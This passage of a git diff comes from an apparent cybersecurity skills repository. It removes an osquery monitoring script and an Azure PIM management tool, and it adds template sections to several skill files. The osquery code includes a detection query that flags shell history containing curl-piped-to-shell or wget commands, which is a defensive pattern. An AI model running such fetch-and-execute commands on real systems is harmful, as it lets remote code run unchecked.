"startup_items": { - "query": "SELECT name, path, source, status, username FROM startup_items;", - "interval": 3600, - "description": "Monitor startup/login items", - }, - "shell_history": { - "query": "SELECT uid, command, history_file FROM shell_history WHERE command LIKE '%curl%pipe%sh%' OR command LIKE '%wget%';", - "interval": 1800, - "description": "Detect suspicious shell history entries", - }, -} - - -def generate_osquery_config(queries, log_dir="/var/log/osquery"): - """Generate osquery.conf with security monitoring queries.""" - config = { - "options": { - "logger_plugin": "filesystem", - "logger_path": log_dir, - "disable_logging": "false", - "schedule_splay_percent": "10", - "events_expiry": "3600", - "database_path": "/var/osquery/osquery.db", - "verbose": "false", - "worker_threads": "2", - "enable_monitor": "true", - }, - "schedule": {}, - "file_paths": { - "etc": ["/etc/%%"], - "binaries": ["/usr/bin/%%", "/usr/sbin/%%", "/bin/%%", "/sbin/%%"], - "tmp": ["/tmp/%%"], - }, - } - for name, query_def in queries.items(): - config["schedule"][name] = { - "query": query_def["query"], - "interval": query_def["interval"], - "description": query_def["description"], - } - logger.info("Generated osquery config with %d scheduled queries", len(queries)) - return config - - -def parse_osquery_results(results_dir): - """Parse osquery differential result logs from the results directory.""" - all_results = [] - for filename in sorted(os.listdir(results_dir)): - if not filename.endswith(".log"): - continue - filepath = os.path.join(results_dir, filename) - with open(filepath, "r") as f: - for line in f: - try: - entry = json.loads(line.strip()) - all_results.append(entry) - except json.JSONDecodeError: - continue - logger.info("Parsed %d result entries from %s", len(all_results), results_dir) - return all_results - - -def analyze_results(results): - """Analyze osquery results for security findings.""" - findings = [] - for entry in results: - name = entry.get("name", "") - action = entry.get("action", "") - columns = entry.get("columns", {}) - if name == "process_not_on_disk" and action == "added": - findings.append({ - "type": "Process without binary", - "severity": "critical", - "details": columns, - "query": name, - }) - elif name == "listening_ports" and action == "added": - port = int(columns.get("port", 0)) - if port > 1024: - findings.append({ - "type": "New listening port", - "severity": "high", - "details": columns, - "query": name, - }) - elif name == "cron_persistence" and action == "added": - findings.append({ - "type": "New cron job", - "severity": "high", - "details": columns, - "query": name, - }) - elif name == "suid_binaries" and action == "added": - findings.append({ - "type": "New SUID binary", - "severity": "critical", - "details": columns, - "query": name, - }) - elif name == "authorized_keys" and action == "added": - findings.append({ - "type": "New SSH authorized key", - "severity": "high", - "details": columns, - "query": name, - }) - logger.info("Analysis: %d security findings from %d results", len(findings), len(results)) - return findings - - -def generate_report(config, results, findings): - """Generate osquery monitoring report.""" - report = { - "timestamp": datetime.utcnow().isoformat(), - "scheduled_queries": len(config.get("schedule", {})), - "total_results_parsed": len(results), - "security_findings": len(findings), - "critical_findings": len([f for f in findings if f["severity"] == "critical"]), - "findings": findings[:50], - } - print(f"OSQUERY REPORT: {len(findings)} findings ({report['critical_findings']} critical)") - return report - - -def main(): - parser = argparse.ArgumentParser(description="Osquery Endpoint Monitoring Agent") - parser.add_argument("--generate-config", help="Output path for osquery.conf") - parser.add_argument("--results-dir", help="Osquery results log directory") - parser.add_argument("--output", default="osquery_report.json") - args = parser.parse_args() - - config = generate_osquery_config(SECURITY_QUERIES) - - if args.generate_config: - with open(args.generate_config, "w") as f: - json.dump(config, f, indent=2) - logger.info("Config saved to %s", args.generate_config) - - results = [] - findings = [] - if args.results_dir and os.path.isdir(args.results_dir): - results = parse_osquery_results(args.results_dir) - findings = analyze_results(results) - - report = generate_report(config, results, findings) - with open(args.output, "w") as f: - json.dump(report, f, indent=2) - logger.info("Report saved to %s", args.output) - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-pam-for-database-access/SKILL.md b/skills/implementing-pam-for-database-access/SKILL.md index cd5db74b..a15b1ae1 100644 --- a/skills/implementing-pam-for-database-access/SKILL.md +++ b/skills/implementing-pam-for-database-access/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Deploy privileged access management for database systems including Oracle, SQL Server, PostgreSQL, and MySQL. Covers session proxy configuration, credential vaulting, query auditing, dynamic credential generation, and least-privilege database roles. + +## When to Use + +- When deploying or configuring implementing pam for database access capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive implementing pam for database access capability - Establish automated discovery and monitoring processes diff --git a/skills/implementing-passwordless-authentication-with-fido2/SKILL.md b/skills/implementing-passwordless-authentication-with-fido2/SKILL.md index 8bdfd7c4..9ab58024 100644 --- a/skills/implementing-passwordless-authentication-with-fido2/SKILL.md +++ b/skills/implementing-passwordless-authentication-with-fido2/SKILL.md @@ -13,6 +13,21 @@ license: Apache-2.0 ## Overview Deploy FIDO2/WebAuthn passwordless authentication using security keys and platform authenticators. Covers WebAuthn API integration, FIDO2 server configuration, passkey enrollment, biometric authentication, and migration from password-based systems aligned with NIST SP 800-63B AAL3. + +## When to Use + +- When deploying or configuring implementing passwordless authentication with fido2 capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities + ## Objectives - Implement comprehensive implementing passwordless authentication with fido2 capability - Establish automated discovery and monitoring processes diff --git a/skills/implementing-pod-security-admission-controller/SKILL.md b/skills/implementing-pod-security-admission-controller/SKILL.md index 90884865..ec5ab134 100644 --- a/skills/implementing-pod-security-admission-controller/SKILL.md +++ b/skills/implementing-pod-security-admission-controller/SKILL.md @@ -15,6 +15,14 @@ license: Apache-2.0 Pod Security Admission (PSA) is a built-in Kubernetes admission controller (stable since v1.25) that enforces Pod Security Standards at the namespace level. It replaces the deprecated PodSecurityPolicy (PSP) and provides three security profiles: Privileged, Baseline, and Restricted, with three enforcement modes: enforce, audit, and warn. + +## When to Use + +- When deploying or configuring implementing pod security admission controller capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + ## Prerequisites - Kubernetes v1.25+ (PSA is stable/GA) diff --git a/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE b/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/implementing-privileged-identity-management-with-azure.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding any notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. Please do not remove or change - the license header comment from a contributed file except when - necessary. - - Copyright 2026 mukul975 - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/skills/implementing-privileged-identity-management-with-azure.bak/SKILL.md b/skills/implementing-privileged-identity-management-with-azure.bak/SKILL.md deleted file mode 100644 index d6dca126..00000000 --- a/skills/implementing-privileged-identity-management-with-azure.bak/SKILL.md +++ /dev/null @@ -1,34 +0,0 @@ ---- -name: implementing-privileged-identity-management-with-azure -description: Configure Azure AD Privileged Identity Management (PIM) using Microsoft Graph API to manage eligible role assignments, just-in-time activation, access reviews, and role management policies for zero-trust privileged access. -domain: cybersecurity -subdomain: identity-access-management -tags: [Azure-AD, PIM, privileged-access, just-in-time, eligible-roles, Microsoft-Graph, zero-trust, access-reviews, Entra-ID] -version: "1.0" -author: mahipal -license: Apache-2.0 ---- - -# Implementing Privileged Identity Management with Azure - -## Overview - -Azure AD Privileged Identity Management (PIM) enforces just-in-time privileged access by converting permanent role assignments to eligible assignments that require activation. This skill uses the Microsoft Graph API to enumerate active and eligible role assignments, create eligibility schedule requests, configure role management policies (MFA requirements, approval workflows, maximum activation duration), audit PIM activation logs, and identify over-privileged permanent assignments that should be converted to eligible. - -## Prerequisites - -- Python 3.9+ with `msal`, `requests` -- Azure AD application registration with `RoleManagement.ReadWrite.Directory`, `RoleEligibilitySchedule.ReadWrite.Directory` permissions -- Microsoft Entra ID P2 or Microsoft Entra ID Governance license - -## Key Operations - -1. **List eligible assignments** — GET /roleManagement/directory/roleEligibilityScheduleInstances -2. **Create eligibility requests** — POST /roleManagement/directory/roleEligibilityScheduleRequests -3. **Activate eligible role** — POST /roleManagement/directory/roleAssignmentScheduleRequests with action=selfActivate -4. **Audit role activations** — GET /auditLogs/directoryAudits filtered by PIM activities -5. **Review role policies** — GET /policies/roleManagementPolicies to check MFA/approval requirements - -## Output - -JSON audit report with permanent vs. eligible assignment counts, over-privileged accounts, policy compliance status, and recent activation history. diff --git a/skills/implementing-privileged-identity-management-with-azure.bak/references/api-reference.md b/skills/implementing-privileged-identity-management-with-azure.bak/references/api-reference.md deleted file mode 100644 index a088af55..00000000 --- a/skills/implementing-privileged-identity-management-with-azure.bak/references/api-reference.md +++ /dev/null @@ -1,130 +0,0 @@ -# Azure AD PIM Microsoft Graph API Reference - -## Authentication - -```python -import msal - -app = msal.ConfidentialClientApplication( - client_id="", - authority="https://login.microsoftonline.com/", - client_credential="" -) -token = app.acquire_token_for_client(scopes=["https://graph.microsoft.com/.default"]) -``` - -## Required API Permissions - -| Permission | Type | Description | -|-----------|------|-------------| -| `RoleManagement.ReadWrite.Directory` | Application | Manage role assignments | -| `RoleEligibilitySchedule.ReadWrite.Directory` | Application | Manage eligible assignments | -| `RoleAssignmentSchedule.ReadWrite.Directory` | Application | Manage active assignments | -| `AuditLog.Read.All` | Application | Read PIM audit logs | -| `Policy.Read.All` | Application | Read role management policies | - -## PIM API Endpoints - -### List Eligible Role Assignments - -``` -GET /roleManagement/directory/roleEligibilityScheduleInstances -``` - -### Create Eligible Assignment - -``` -POST /roleManagement/directory/roleEligibilityScheduleRequests -{ - "action": "adminAssign", - "justification": "Business need for temporary access", - "roleDefinitionId": "", - "directoryScopeId": "/", - "principalId": "", - "scheduleInfo": { - "startDateTime": "2025-03-01T00:00:00Z", - "expiration": { - "type": "afterDuration", - "duration": "PT8H" - } - } -} -``` - -### Activate Eligible Role (JIT) - -``` -POST /roleManagement/directory/roleAssignmentScheduleRequests -{ - "action": "selfActivate", - "justification": "Need Global Admin for security investigation", - "roleDefinitionId": "", - "directoryScopeId": "/", - "principalId": "me", - "scheduleInfo": { - "startDateTime": "2025-03-01T12:00:00Z", - "expiration": { - "type": "afterDuration", - "duration": "PT1H" - } - } -} -``` - -### List Active Role Assignments - -``` -GET /roleManagement/directory/roleAssignmentScheduleInstances -``` - -### List Role Definitions - -``` -GET /roleManagement/directory/roleDefinitions -``` - -### Query PIM Audit Logs - -``` -GET /auditLogs/directoryAudits?$filter=activityDisplayName eq 'Add member to role completed (PIM activation)' and activityDateTime ge 2025-03-01T00:00:00Z -``` - -### Get Role Management Policies - -``` -GET /policies/roleManagementPolicies -``` - -## Key Role Definition IDs - -| Role | ID | -|------|-----| -| Global Administrator | `62e90394-69f5-4237-9190-012177145e10` | -| Security Administrator | `194ae4cb-b126-40b2-bd5b-6091b380977d` | -| User Administrator | `fe930be7-5e62-47db-91af-98c3a49a38b1` | -| Exchange Administrator | `29232cdf-9323-42fd-ade2-1d097af3e4de` | -| Privileged Role Administrator | `e8611ab8-c189-46e8-94e1-60213ab1f814` | - -## Schedule Action Types - -| Action | Description | -|--------|-------------| -| `adminAssign` | Admin assigns active or eligible role | -| `adminRemove` | Admin removes role assignment | -| `adminUpdate` | Admin updates existing assignment | -| `adminExtend` | Admin extends expiring assignment | -| `adminRenew` | Admin renews expired assignment | -| `selfActivate` | User activates eligible role | -| `selfDeactivate` | User deactivates active role | -| `selfExtend` | User requests extension | -| `selfRenew` | User requests renewal | - -## Azure CLI Equivalent - -```bash -# List PIM eligible assignments -az rest --method GET --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleEligibilityScheduleInstances" - -# List active assignments -az rest --method GET --url "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignmentScheduleInstances" -``` diff --git a/skills/implementing-privileged-identity-management-with-azure.bak/scripts/agent.py b/skills/implementing-privileged-identity-management-with-azure.bak/scripts/agent.py deleted file mode 100644 index 69041207..00000000 --- a/skills/implementing-privileged-identity-management-with-azure.bak/scripts/agent.py +++ /dev/null @@ -1,301 +0,0 @@ -#!/usr/bin/env python3 -"""Manage Azure AD PIM: eligible role assignments, JIT activation, access reviews via Microsoft Graph API.""" - -import argparse -import json -import sys -from datetime import datetime, timezone - - -def get_graph_token(tenant_id, client_id, client_secret): - """Acquire OAuth2 token for Microsoft Graph API using client credentials flow.""" - try: - import msal - except ImportError: - print("Install required package: pip install msal", file=sys.stderr) - sys.exit(1) - - app = msal.ConfidentialClientApplication( - client_id, - authority=f"https://login.microsoftonline.com/{tenant_id}", - client_credential=client_secret - ) - result = app.acquire_token_for_client(scopes=["https://graph.microsoft.com/.default"]) - if "access_token" not in result: - print(f"Token acquisition failed: {result.get('error_description', 'Unknown error')}", file=sys.stderr) - sys.exit(1) - return result["access_token"] - - -def graph_request(token, method, endpoint, body=None): - """Make authenticated request to Microsoft Graph API.""" - import requests - - headers = { - "Authorization": f"Bearer {token}", - "Content-Type": "application/json" - } - url = f"https://graph.microsoft.com/v1.0{endpoint}" - - if method == "GET": - resp = requests.get(url, headers=headers, timeout=30) - elif method == "POST": - resp = requests.post(url, headers=headers, json=body, timeout=30) - elif method == "PATCH": - resp = requests.patch(url, headers=headers, json=body, timeout=30) - else: - raise ValueError(f"Unsupported method: {method}") - - if resp.status_code >= 400: - return {"error": resp.status_code, "message": resp.text} - return resp.json() if resp.text else {} - - -def list_eligible_assignments(token): - """List all eligible role assignments via PIM.""" - results = [] - endpoint = "/roleManagement/directory/roleEligibilityScheduleInstances" - response = graph_request(token, "GET", endpoint) - - if "error" in response: - return [response] - - for item in response.get("value", []): - results.append({ - "id": item.get("id"), - "principal_id": item.get("principalId"), - "role_definition_id": item.get("roleDefinitionId"), - "directory_scope_id": item.get("directoryScopeId"), - "start_date_time": item.get("startDateTime"), - "end_date_time": item.get("endDateTime"), - "assignment_type": item.get("assignmentType"), - "member_type": item.get("memberType") - }) - return results - - -def list_active_assignments(token): - """List all active (permanent and temporary) role assignments.""" - results = [] - endpoint = "/roleManagement/directory/roleAssignmentScheduleInstances" - response = graph_request(token, "GET", endpoint) - - if "error" in response: - return [response] - - for item in response.get("value", []): - results.append({ - "id": item.get("id"), - "principal_id": item.get("principalId"), - "role_definition_id": item.get("roleDefinitionId"), - "directory_scope_id": item.get("directoryScopeId"), - "start_date_time": item.get("startDateTime"), - "end_date_time": item.get("endDateTime"), - "assignment_type": item.get("assignmentType"), - "member_type": item.get("memberType") - }) - return results - - -def create_eligible_assignment(token, principal_id, role_definition_id, justification, duration_hours=8): - """Create an eligible role assignment via PIM eligibility schedule request.""" - body = { - "action": "adminAssign", - "justification": justification, - "roleDefinitionId": role_definition_id, - "directoryScopeId": "/", - "principalId": principal_id, - "scheduleInfo": { - "startDateTime": datetime.now(timezone.utc).isoformat(), - "expiration": { - "type": "afterDuration", - "duration": f"PT{duration_hours}H" - } - } - } - endpoint = "/roleManagement/directory/roleEligibilityScheduleRequests" - return graph_request(token, "POST", endpoint, body) - - -def activate_eligible_role(token, role_definition_id, justification, duration_hours=1): - """Activate an eligible role assignment (self-activate JIT access).""" - body = { - "action": "selfActivate", - "justification": justification, - "roleDefinitionId": role_definition_id, - "directoryScopeId": "/", - "principalId": "me", - "scheduleInfo": { - "startDateTime": datetime.now(timezone.utc).isoformat(), - "expiration": { - "type": "afterDuration", - "duration": f"PT{duration_hours}H" - } - } - } - endpoint = "/roleManagement/directory/roleAssignmentScheduleRequests" - return graph_request(token, "POST", endpoint, body) - - -def list_role_definitions(token): - """List all Microsoft Entra role definitions.""" - endpoint = "/roleManagement/directory/roleDefinitions" - response = graph_request(token, "GET", endpoint) - if "error" in response: - return [response] - return [ - { - "id": r.get("id"), - "display_name": r.get("displayName"), - "is_built_in": r.get("isBuiltIn"), - "is_enabled": r.get("isEnabled") - } - for r in response.get("value", []) - ] - - -def audit_pim_activations(token, days=7): - """Query directory audit logs for PIM role activation events.""" - from datetime import timedelta - start_date = (datetime.now(timezone.utc) - timedelta(days=days)).strftime("%Y-%m-%dT%H:%M:%SZ") - endpoint = ( - f"/auditLogs/directoryAudits?" - f"$filter=activityDisplayName eq 'Add member to role completed (PIM activation)' " - f"and activityDateTime ge {start_date}" - ) - response = graph_request(token, "GET", endpoint) - if "error" in response: - return [response] - - activations = [] - for entry in response.get("value", []): - activations.append({ - "activity": entry.get("activityDisplayName"), - "timestamp": entry.get("activityDateTime"), - "initiated_by": entry.get("initiatedBy", {}).get("user", {}).get("userPrincipalName"), - "target_resources": [ - {"display_name": t.get("displayName"), "type": t.get("type")} - for t in entry.get("targetResources", []) - ], - "result": entry.get("result") - }) - return activations - - -def get_role_management_policies(token): - """Retrieve role management policies to check MFA/approval requirements.""" - endpoint = "/policies/roleManagementPolicies" - response = graph_request(token, "GET", endpoint) - if "error" in response: - return [response] - - policies = [] - for policy in response.get("value", []): - policies.append({ - "id": policy.get("id"), - "display_name": policy.get("displayName"), - "scope_id": policy.get("scopeId"), - "scope_type": policy.get("scopeType"), - "last_modified": policy.get("lastModifiedDateTime") - }) - return policies - - -def generate_audit_report(token): - """Generate comprehensive PIM audit report.""" - eligible = list_eligible_assignments(token) - active = list_active_assignments(token) - roles = list_role_definitions(token) - - permanent_active = [a for a in active if not a.get("end_date_time")] - temporary_active = [a for a in active if a.get("end_date_time")] - - report = { - "scan_time": datetime.now(timezone.utc).isoformat(), - "summary": { - "total_role_definitions": len(roles), - "eligible_assignments": len(eligible), - "active_assignments": len(active), - "permanent_active_assignments": len(permanent_active), - "temporary_active_assignments": len(temporary_active) - }, - "findings": [], - "eligible_assignments": eligible, - "permanent_active_assignments": permanent_active - } - - if len(permanent_active) > 0: - report["findings"].append({ - "severity": "High", - "check": "permanent_privileged_assignments", - "message": f"{len(permanent_active)} permanent active role assignments found — consider converting to eligible", - "count": len(permanent_active) - }) - - if len(eligible) == 0 and len(active) > 0: - report["findings"].append({ - "severity": "High", - "check": "no_eligible_assignments", - "message": "No eligible (JIT) assignments configured — all access is permanent" - }) - - return report - - -def main(): - parser = argparse.ArgumentParser(description="Azure AD PIM management via Microsoft Graph API") - parser.add_argument("--tenant-id", required=True, help="Azure AD tenant ID") - parser.add_argument("--client-id", required=True, help="Application (client) ID") - parser.add_argument("--client-secret", required=True, help="Client secret") - - subparsers = parser.add_subparsers(dest="command", help="PIM operation") - - subparsers.add_parser("list-eligible", help="List eligible role assignments") - subparsers.add_parser("list-active", help="List active role assignments") - subparsers.add_parser("list-roles", help="List role definitions") - subparsers.add_parser("audit-report", help="Generate PIM audit report") - - audit_parser = subparsers.add_parser("audit-activations", help="Query PIM activation logs") - audit_parser.add_argument("--days", type=int, default=7, help="Look back N days (default: 7)") - - create_parser = subparsers.add_parser("create-eligible", help="Create eligible assignment") - create_parser.add_argument("--principal-id", required=True, help="User/group object ID") - create_parser.add_argument("--role-id", required=True, help="Role definition ID") - create_parser.add_argument("--justification", required=True, help="Business justification") - create_parser.add_argument("--duration", type=int, default=8, help="Duration in hours (default: 8)") - - activate_parser = subparsers.add_parser("activate", help="Activate eligible role (JIT)") - activate_parser.add_argument("--role-id", required=True, help="Role definition ID") - activate_parser.add_argument("--justification", required=True, help="Activation justification") - activate_parser.add_argument("--duration", type=int, default=1, help="Duration in hours (default: 1)") - - subparsers.add_parser("policies", help="List role management policies") - - args = parser.parse_args() - token = get_graph_token(args.tenant_id, args.client_id, args.client_secret) - - if args.command == "list-eligible": - result = list_eligible_assignments(token) - elif args.command == "list-active": - result = list_active_assignments(token) - elif args.command == "list-roles": - result = list_role_definitions(token) - elif args.command == "audit-report": - result = generate_audit_report(token) - elif args.command == "audit-activations": - result = audit_pim_activations(token, args.days) - elif args.command == "create-eligible": - result = create_eligible_assignment(token, args.principal_id, args.role_id, args.justification, args.duration) - elif args.command == "activate": - result = activate_eligible_role(token, args.role_id, args.justification, args.duration) - elif args.command == "policies": - result = get_role_management_policies(token) - else: - parser.print_help() - sys.exit(0) - - print(json.dumps(result, indent=2, default=str)) - - -if __name__ == "__main__": - main() diff --git a/skills/implementing-privileged-session-monitoring/SKILL.md b/skills/implementing-privileged-session-monitoring/SKILL.md index 32016abf..7d07f537 100644 --- a/skills/implementing-privileged-session-monitoring/SKILL.md +++ b/skills/implementing-privileged-session-monitoring/SKILL.md @@ -16,3 +16,18 @@ license: Apache-2.0 Monitor privileged sessions (SSH, RDP, database) with real-time command logging, anomaly detection, session recording, and compliance reporting. + + +## When to Use + +- When deploying or configuring implementing privileged session monitoring capabilities in your environment +- When establishing security controls aligned to compliance requirements +- When building or improving security architecture for this domain +- When conducting security assessments that require this implementation + +## Prerequisites + +- Familiarity with identity access management concepts and tools +- Access to a test or lab environment for safe execution +- Python 3.8+ with required dependencies installed +- Appropriate authorization for any testing activities diff --git a/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE b/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE deleted file mode 100644 index d8851182..00000000 --- a/skills/implementing-rbac-for-kubernetes-cluster.bak/LICENSE +++ /dev/null @@ -1,201 +0,0 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to the Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by the Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly 